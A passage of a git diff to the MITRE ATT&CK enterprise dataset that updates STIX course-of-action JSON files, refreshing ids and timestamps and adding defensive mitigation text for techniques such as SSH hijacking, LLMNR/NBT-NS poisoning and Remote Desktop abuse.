                 {
                     "source_name": "TechNet Applocker vs SRP",
                     "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                     "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
+                },
+                {
+                    "source_name": "Windows Commands JPCERT",
+                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
+                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
                 }
             ]
         }
diff --git a/enterprise-attack/course-of-action/course-of-action--3e7018e9-7389-48e7-9208-0bdbcbba9483.json b/enterprise-attack/course-of-action/course-of-action--3e7018e9-7389-48e7-9208-0bdbcbba9483.json
index 74b36c3442..16345b12a3 100644
--- a/enterprise-attack/course-of-action/course-of-action--3e7018e9-7389-48e7-9208-0bdbcbba9483.json
+++ b/enterprise-attack/course-of-action/course-of-action--3e7018e9-7389-48e7-9208-0bdbcbba9483.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--cbecd999-6211-436a-ab71-908bfda4ef69",
+    "id": "bundle--5b3cef2a-370a-41c3-ad6c-8be5ff78bc13",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--3e7018e9-7389-48e7-9208-0bdbcbba9483",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Clear Command History Mitigation",
             "description": "Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their <code>~/.bash_history</code> files. Additionally, making these environment variables readonly can make sure that the history is preserved   (Citation: Securing bash history).",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--3e9f8875-d2f7-4380-a578-84393bd3b025.json b/enterprise-attack/course-of-action/course-of-action--3e9f8875-d2f7-4380-a578-84393bd3b025.json
index 175d84bc19..77e055c521 100644
--- a/enterprise-attack/course-of-action/course-of-action--3e9f8875-d2f7-4380-a578-84393bd3b025.json
+++ b/enterprise-attack/course-of-action/course-of-action--3e9f8875-d2f7-4380-a578-84393bd3b025.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--964174e5-1fda-4171-8cc3-30ee78674300",
+    "id": "bundle--615debe3-bfa4-44de-8d98-118c892f5e1a",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--3e9f8875-d2f7-4380-a578-84393bd3b025",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Windows Remote Management Mitigation",
             "description": "Disable the WinRM service. If the service is necessary, lock down critical enclaves with separate WinRM infrastructure, accounts, and permissions. Follow WinRM best practices on configuration of authentication methods and use of host firewalls to restrict WinRM access to allow communication only to/from specific devices. (Citation: NSA Spotting)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--402e92cd-5608-4f4b-9a34-a2c962e4bcd7.json b/enterprise-attack/course-of-action/course-of-action--402e92cd-5608-4f4b-9a34-a2c962e4bcd7.json
index 990068ec63..7467f3d306 100644
--- a/enterprise-attack/course-of-action/course-of-action--402e92cd-5608-4f4b-9a34-a2c962e4bcd7.json
+++ b/enterprise-attack/course-of-action/course-of-action--402e92cd-5608-4f4b-9a34-a2c962e4bcd7.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--e302d694-b31f-4204-a217-c1b8854a52b3",
+    "id": "bundle--7b4b5372-bee6-4db2-ada3-28a26811afe1",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--402e92cd-5608-4f4b-9a34-a2c962e4bcd7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Launch Daemon Mitigation",
             "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new Launch Daemons.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--41cff8e9-fd05-408e-b3d5-d98c54c20bcf.json b/enterprise-attack/course-of-action/course-of-action--41cff8e9-fd05-408e-b3d5-d98c54c20bcf.json
new file mode 100644
index 0000000000..ac505dad5b
--- /dev/null
+++ b/enterprise-attack/course-of-action/course-of-action--41cff8e9-fd05-408e-b3d5-d98c54c20bcf.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--6f95644a-684a-431a-8503-7962c5832a23",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--41cff8e9-fd05-408e-b3d5-d98c54c20bcf",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "SSH Hijacking Mitigation",
+            "description": "Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1184",
+                    "external_id": "T1184"
+                },
+                {
+                    "source_name": "Symantec SSH and ssh-agent",
+                    "description": "Hatch, B. (2004, November 22). SSH and ssh-agent. Retrieved January 8, 2018.",
+                    "url": "https://www.symantec.com/connect/articles/ssh-and-ssh-agent"
+                }
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/course-of-action/course-of-action--4320b080-9ae9-4541-9b8b-bcd0961dbbbd.json b/enterprise-attack/course-of-action/course-of-action--4320b080-9ae9-4541-9b8b-bcd0961dbbbd.json
index 8d7b0e6653..0492b92776 100644
--- a/enterprise-attack/course-of-action/course-of-action--4320b080-9ae9-4541-9b8b-bcd0961dbbbd.json
+++ b/enterprise-attack/course-of-action/course-of-action--4320b080-9ae9-4541-9b8b-bcd0961dbbbd.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--9087b5b4-12db-4a12-8a68-2c7779f3417d",
+    "id": "bundle--3d43db3a-9abf-45b9-bffc-b3f6c28618aa",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--4320b080-9ae9-4541-9b8b-bcd0961dbbbd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Data Staged Mitigation",
             "description": "Identify unnecessary system utilities or potentially malicious software that may be used to collect data from removable media, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--43b366a4-b5ff-4d4e-8a3b-f09a9d2faff5.json b/enterprise-attack/course-of-action/course-of-action--43b366a4-b5ff-4d4e-8a3b-f09a9d2faff5.json
index 526357d995..0e3ba6163a 100644
--- a/enterprise-attack/course-of-action/course-of-action--43b366a4-b5ff-4d4e-8a3b-f09a9d2faff5.json
+++ b/enterprise-attack/course-of-action/course-of-action--43b366a4-b5ff-4d4e-8a3b-f09a9d2faff5.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--d01573ab-baee-4c0e-a5e7-b99ac81befbd",
+    "id": "bundle--31824932-3beb-4bc0-867b-d280a86e2ee7",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--43b366a4-b5ff-4d4e-8a3b-f09a9d2faff5",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Shared Webroot Mitigation",
             "description": "Networks that allow for open development and testing of Web content and allow users to set up their own Web servers on the enterprise network may be particularly vulnerable if the systems and Web servers are not properly secured to limit privileged account use, unauthenticated network share access, and network/system isolation.\n\nEnsure proper permissions on directories that are accessible through a Web server. Disallow remote access to the webroot or other directories used to serve Web content. Disable execution on directories within the webroot. Ensure that permissions of the Web server process are only what is required by not using built-in accounts; instead, create specific accounts to limit unnecessary access or permissions overlap across multiple systems.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--45e7f570-6a0b-4095-bf02-4bca05da6bae.json b/enterprise-attack/course-of-action/course-of-action--45e7f570-6a0b-4095-bf02-4bca05da6bae.json
index 7f7961274a..f41def4061 100644
--- a/enterprise-attack/course-of-action/course-of-action--45e7f570-6a0b-4095-bf02-4bca05da6bae.json
+++ b/enterprise-attack/course-of-action/course-of-action--45e7f570-6a0b-4095-bf02-4bca05da6bae.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--c5ddbf70-5035-451d-8134-3e11e2f880cb",
+    "id": "bundle--293832d3-4f6f-4ccc-bae3-881c4f20e48b",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--45e7f570-6a0b-4095-bf02-4bca05da6bae",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Masquerading Mitigation",
             "description": "When creating security rules, avoid exclusions based on file name or file path. Require signed binaries. Use file system access controls to protect folders such as C:\\Windows\\System32. Use tools that restrict program execution via whitelisting by attributes other than file name.\n\nIdentify potentially malicious software that may look like a legitimate program based on name and location, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--4689b9fb-dca4-473e-831b-34717ad50c97.json b/enterprise-attack/course-of-action/course-of-action--4689b9fb-dca4-473e-831b-34717ad50c97.json
index 59121df4f7..2c2d4cb6b7 100644
--- a/enterprise-attack/course-of-action/course-of-action--4689b9fb-dca4-473e-831b-34717ad50c97.json
+++ b/enterprise-attack/course-of-action/course-of-action--4689b9fb-dca4-473e-831b-34717ad50c97.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--5eb27a34-b59a-4b81-9a68-7120db699e5f",
+    "id": "bundle--57866e16-193a-4618-b202-0636bd8c693e",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--4689b9fb-dca4-473e-831b-34717ad50c97",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Web Service Mitigation",
             "description": "Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4.json b/enterprise-attack/course-of-action/course-of-action--46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4.json
index f63631d748..fc52f9df41 100644
--- a/enterprise-attack/course-of-action/course-of-action--46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4.json
+++ b/enterprise-attack/course-of-action/course-of-action--46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--62826772-58c8-43ff-a0e9-19275b848956",
+    "id": "bundle--a8ee8f80-09ba-4a75-87a2-2c1917012a54",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Network Sniffing Mitigation",
             "description": "Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.\n\nIdentify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--4a99fecc-680b-448e-8fe7-8144c60d272c.json b/enterprise-attack/course-of-action/course-of-action--4a99fecc-680b-448e-8fe7-8144c60d272c.json
index 259ba867d8..ecdd578cf8 100644
--- a/enterprise-attack/course-of-action/course-of-action--4a99fecc-680b-448e-8fe7-8144c60d272c.json
+++ b/enterprise-attack/course-of-action/course-of-action--4a99fecc-680b-448e-8fe7-8144c60d272c.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--5fcdef21-df98-4fc0-8ac5-caaa28ca7e2b",
+    "id": "bundle--4386f7f7-b6e2-4fd7-bd85-b2c0f05f9fd5",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--4a99fecc-680b-448e-8fe7-8144c60d272c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Brute Force Mitigation",
             "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Use multifactor authentication. Follow best practices for mitigating access to Valid Accounts",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--4b998a71-7b8f-4dcc-8f3f-277f2e740271.json b/enterprise-attack/course-of-action/course-of-action--4b998a71-7b8f-4dcc-8f3f-277f2e740271.json
index 0866b6dd4b..19aaf3015f 100644
--- a/enterprise-attack/course-of-action/course-of-action--4b998a71-7b8f-4dcc-8f3f-277f2e740271.json
+++ b/enterprise-attack/course-of-action/course-of-action--4b998a71-7b8f-4dcc-8f3f-277f2e740271.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--366e349c-c1df-42c7-94b5-a0fb4e912e1c",
+    "id": "bundle--23ef1b3c-572c-4e8a-848c-c83bf1a02a51",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--4b998a71-7b8f-4dcc-8f3f-277f2e740271",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Indicator Removal from Tools Mitigation",
             "description": "Mitigation is difficult in instances like this because the adversary may have access to the system through another channel and can learn what techniques or tools are blocked by resident defenses. Exercising best practices with configuration and security as well as ensuring that proper process is followed during investigation of potential compromise is essential to detecting a larger intrusion through discrete alerts.\n\nIdentify and block potentially malicious software that may be used by an adversary by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--4f170666-7edb-4489-85c2-9affa28a72e0.json b/enterprise-attack/course-of-action/course-of-action--4f170666-7edb-4489-85c2-9affa28a72e0.json
index d42fa60f06..390a91b910 100644
--- a/enterprise-attack/course-of-action/course-of-action--4f170666-7edb-4489-85c2-9affa28a72e0.json
+++ b/enterprise-attack/course-of-action/course-of-action--4f170666-7edb-4489-85c2-9affa28a72e0.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--84229bfb-bdbf-48b5-ab15-0bc8d48653d0",
+    "id": "bundle--48a51900-6a16-4449-8dec-d9a22d7c14c6",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--4f170666-7edb-4489-85c2-9affa28a72e0",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": ".bash_profile and .bashrc Mitigation",
             "description": "Making these files immutable and only changeable by certain administrators will limit the ability for adversaries to easily create user level persistence.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--514e7371-a344-4de7-8ec3-3aa42b801d52.json b/enterprise-attack/course-of-action/course-of-action--514e7371-a344-4de7-8ec3-3aa42b801d52.json
index 485f9d0148..c8fcf3ad15 100644
--- a/enterprise-attack/course-of-action/course-of-action--514e7371-a344-4de7-8ec3-3aa42b801d52.json
+++ b/enterprise-attack/course-of-action/course-of-action--514e7371-a344-4de7-8ec3-3aa42b801d52.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--cc10ef41-a751-4ebc-8e88-39d41d51de1d",
+    "id": "bundle--b3edd389-93ac-4425-9f42-cfcc7c796f13",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--514e7371-a344-4de7-8ec3-3aa42b801d52",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Multi-Stage Channels Mitigation",
             "description": "Command and control infrastructure used in a multi-stage channel may be blocked if known ahead of time. If unique signatures are present in the C2 traffic, they could also be used as the basis of identifying and blocking the channel. (Citation: University of Birmingham C2)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--515f6584-fa98-44fe-a4e8-e428c7188514.json b/enterprise-attack/course-of-action/course-of-action--515f6584-fa98-44fe-a4e8-e428c7188514.json
index d62712a8d7..6e11efb2be 100644
--- a/enterprise-attack/course-of-action/course-of-action--515f6584-fa98-44fe-a4e8-e428c7188514.json
+++ b/enterprise-attack/course-of-action/course-of-action--515f6584-fa98-44fe-a4e8-e428c7188514.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--c2f615c4-9b8d-47ba-95d1-9c1994e15c6b",
+    "id": "bundle--0f246da4-e378-4880-9e2f-c833d28a9eea",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--515f6584-fa98-44fe-a4e8-e428c7188514",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Fallback Channels Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--51b37302-b844-4c08-ac98-ae6955ed1f55.json b/enterprise-attack/course-of-action/course-of-action--51b37302-b844-4c08-ac98-ae6955ed1f55.json
index 44f427cc22..d18c893ad4 100644
--- a/enterprise-attack/course-of-action/course-of-action--51b37302-b844-4c08-ac98-ae6955ed1f55.json
+++ b/enterprise-attack/course-of-action/course-of-action--51b37302-b844-4c08-ac98-ae6955ed1f55.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--ee78b63f-0549-4b4f-a3f8-a3fe15ba6bed",
+    "id": "bundle--026c6280-2c67-46b5-bf2a-25aa50d3e966",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--51b37302-b844-4c08-ac98-ae6955ed1f55",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Screen Capture Mitigation",
             "description": "Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--5391ece4-8866-415d-9b5e-8dc5944f612a.json b/enterprise-attack/course-of-action/course-of-action--5391ece4-8866-415d-9b5e-8dc5944f612a.json
index 8c23390973..d35ee80002 100644
--- a/enterprise-attack/course-of-action/course-of-action--5391ece4-8866-415d-9b5e-8dc5944f612a.json
+++ b/enterprise-attack/course-of-action/course-of-action--5391ece4-8866-415d-9b5e-8dc5944f612a.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--ec389d70-cff1-4b8a-9627-3740bdaa56d6",
+    "id": "bundle--ba2c0636-b0af-48ac-ba69-78bbc36fd098",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--5391ece4-8866-415d-9b5e-8dc5944f612a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Source Mitigation",
             "description": "Due to potential legitimate uses of source commands, it's may be difficult to mitigate use of this technique.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--53b3b027-bed3-480c-9101-1247047d0fe6.json b/enterprise-attack/course-of-action/course-of-action--53b3b027-bed3-480c-9101-1247047d0fe6.json
index 3b8465c2ee..608c67557b 100644
--- a/enterprise-attack/course-of-action/course-of-action--53b3b027-bed3-480c-9101-1247047d0fe6.json
+++ b/enterprise-attack/course-of-action/course-of-action--53b3b027-bed3-480c-9101-1247047d0fe6.json
@@ -1,16 +1,16 @@
 {
     "type": "bundle",
-    "id": "bundle--67865ec0-7623-46e7-a512-a3a73fcf4548",
+    "id": "bundle--9cf54d4e-9868-4941-891b-806bd6c48225",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--53b3b027-bed3-480c-9101-1247047d0fe6",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Remote Desktop Protocol Mitigation",
-            "description": "Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins. (Citation: Berkley Secure)",
+            "description": "Disable the RDP service if it is unnecessary, remove unnecessary accounts and groups from Remote Desktop Users groups, and enable firewall rules to block RDP traffic between network security zones. Audit the Remote Desktop Users group membership regularly. Remove the local Administrators group from the list of groups allowed to log in through RDP. Limit remote user permissions if remote access is necessary. Use remote desktop gateways and multifactor authentication for remote logins. (Citation: Berkley Secure) Do not leave RDP accessible from the internet. Change GPOs to define shorter timeouts sessions and maximum amount of time any single session can be active. Change GPOs to specify the maximum amount of time that a disconnected session stays active on the RD session host server.  (Citation: Windows RDP Sessions)",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
@@ -21,6 +21,11 @@
                     "source_name": "Berkley Secure",
                     "description": "Berkeley Security, University of California. (n.d.). Securing Remote Desktop for System Administrators. Retrieved November 4, 2014.",
                     "url": "https://security.berkeley.edu/node/94"
+                },
+                {
+                    "source_name": "Windows RDP Sessions",
+                    "description": "Microsoft. (n.d.). Configure Timeout and Reconnection Settings for Remote Desktop Services Sessions. Retrieved December 11, 2017.",
+                    "url": "https://technet.microsoft.com/en-us/library/cc754272(v=ws.11).aspx"
                 }
             ]
         }
diff --git a/enterprise-attack/course-of-action/course-of-action--54246e2e-683f-4bf2-be4c-d7d5a60e7d22.json b/enterprise-attack/course-of-action/course-of-action--54246e2e-683f-4bf2-be4c-d7d5a60e7d22.json
new file mode 100644
index 0000000000..aa94309d5b
--- /dev/null
+++ b/enterprise-attack/course-of-action/course-of-action--54246e2e-683f-4bf2-be4c-d7d5a60e7d22.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--5438617b-aaf5-4c8c-afdc-a2676c600744",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--54246e2e-683f-4bf2-be4c-d7d5a60e7d22",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "LLMNR/NBT-NS Poisoning Mitigation",
+            "description": "Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)\n\nUse host-based security software to block LLMNR/NetBIOS traffic.",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1171",
+                    "external_id": "T1171"
+                },
+                {
+                    "source_name": "ADSecurity Windows Secure Baseline",
+                    "description": "Metcalf, S. (2016, October 21). Securing Windows Workstations: Developing a Secure Baseline. Retrieved November 17, 2017.",
+                    "url": "https://adsecurity.org/?p=3299"
+                }
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/course-of-action/course-of-action--56648de3-8947-4559-90c4-eda10acc0f5a.json b/enterprise-attack/course-of-action/course-of-action--56648de3-8947-4559-90c4-eda10acc0f5a.json
index c9e52fe319..934015d50f 100644
--- a/enterprise-attack/course-of-action/course-of-action--56648de3-8947-4559-90c4-eda10acc0f5a.json
+++ b/enterprise-attack/course-of-action/course-of-action--56648de3-8947-4559-90c4-eda10acc0f5a.json
@@ -1,14 +1,14 @@
 {
     "type": "bundle",
-    "id": "bundle--19ea55fc-6d28-4547-b465-c74d38c16f4e",
+    "id": "bundle--1159343f-2f6c-4dc8-8e8b-53443064cd69",
     "spec_version": "2.0",
     "objects": [
         {
             "type": "course-of-action",
             "id": "course-of-action--56648de3-8947-4559-90c4-eda10acc0f5a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Keychain Mitigation",
             "description": "The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.",
             "external_references": [
diff --git a/enterprise-attack/course-of-action/course-of-action--56db6ccc-433d-4411-8383-c3fd7053e2c8.json b/enterprise-attack/course-of-action/course-of-action--56db6ccc-433d-4411-8383-c3fd7053e2c8.json
index cf1ecb6e00..2bb65331df 100644
--- a/enterprise-attack/course-of-action/course-of-action--56db6ccc-433d-4411-8383-c3fd7053e2c8.json
